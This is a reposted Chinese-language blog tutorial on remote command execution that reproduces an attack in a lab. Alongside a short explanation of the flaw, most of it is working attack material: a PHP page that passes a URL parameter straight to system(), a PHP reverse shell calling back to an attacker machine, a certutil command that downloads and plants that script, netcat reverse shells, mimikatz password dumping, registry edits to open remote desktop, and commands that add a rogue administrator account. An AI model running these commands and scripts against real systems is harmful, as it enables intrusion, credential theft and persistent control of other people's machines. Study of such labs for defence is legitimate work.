RCE(遠程命令/代碼執行漏洞)原理及復現


本文轉自行雲博客https://www.xy586.top/

作用

RCE漏洞,可以讓攻擊者直接向后台服務器遠程注入操作系統命令或者代碼,從而控制后台系統。

原理

遠程系統命令執行

一般出現這種漏洞,是因為應用系統從設計上需要給用戶提供指定的遠程命令操作的接口。比如我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上。一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后台會對該IP地址進行一次ping測試,並返回測試結果。

如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該接口提交“意想不到”的命令,從而讓后台進行執行,從而控制整個后台服務器。

現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平台"進行操作。在這種平台上往往會出現遠程系統命令執行的漏洞。

遠程代碼執行
同樣的道理,因為需求設計,后台有時候也會把用戶的輸入作為代碼的一部分進行執行,也就造成了遠程代碼執行漏洞。
不管是使用了代碼執行的函數,還是使用了不安全的反序列化等等。

因此,如果需要給前端用戶提供操作類的API接口,一定需要對接口輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。

系統命令執行函數

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

Windows系統命令拼接

|”:管道符,前面命令標准輸出,后面命令的標准輸入。例如:help |more
“&” commandA & commandB 先運行命令A,然后運行命令B
“||” commandA || commandB 運行命令A,如果失敗則運行命令B
“&&” commandA && commandB 運行命令A,如果成功則運行命令B

復現

前提

一台開啟wnmp服務的win7的靶機
一台開啟wnmp服務的win10用於傳輸文件
一台kali系統的虛擬機用於接收shell
靶機ip192.168.232.141
主機ip192.168.101.8
kali ip:192.168.232.131

靶機放入的文件:

<?php  
    header("Content-Type: text/html; charset=utf-8");
    error_reporting(0); //禁用錯誤報告 
    $a = $_GET["a"]; 
    system($a);
?>  

主機提供下載的文件:

<?php

set_time_limit(0);

$ip="192.168.232.131";

$port=4444;

$fp=@fsockopen($ip,$port,$errno,$errstr);

if(!$fp){ echo "error";}

else{

fputs($fp,"\n++++++++++connect success++++++++\n");

while (!feof($fp)) {

fputs($fp,"shell:");//輸出

$shell=fgets($fp);

$message=`$shell`;

fputs($fp,$message);

}

fclose($fp);

}

?>

訪問靶機的網站,打開http://192.168.232.141/1.php?a=ipconfig
發現能夠執行cmd命令
在這里插入圖片描述

方法一

利用cmd命令遠程下載文件
certutil -urlcache -split -f http://192.168.101.8/1.txt b.php
http://192.168.232.141/1.php?a=certutil%20-urlcache%20-split%20-f%20http://192.168.101.8/1.txt%20b.php
在這里插入圖片描述
開始kali的nc監聽4444端口
nc -lvvp 4444
瀏覽器訪問我們剛剛傳入的b.php文件
在這里插入圖片描述
成功獲取到shell。

我們可以向靶機傳入mimikatz.exe文件來獲取win7系統的所有賬號密碼
(安裝包GitHub上有,這里不提供)

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

在這里插入圖片描述

獲取賬號密碼后,就可以開啟遠程連接服務了
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
如果開啟不成功,須執行以下命令

echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

net start termservice
然后再開啟一次
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

最后主機使用快捷鍵win+s,搜索mstsc 就可以打開windos遠程桌面連接了

以下為不查看賬號密碼,自行添加管理員用戶的方法

net user 查看全部用戶

net user qq 123456 /add 添加用戶

net localgroup administrators qq /add 添加一個用戶到管理員

方法二

nc反彈(需要像靶機傳入nc.exe文件,這里不在講解)

nc 192.168.232.131 2222 -e C:\windows\system32\cmd.exe

接受返回來的shell

nc -lvvp 2222

其余一樣,不做講解。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM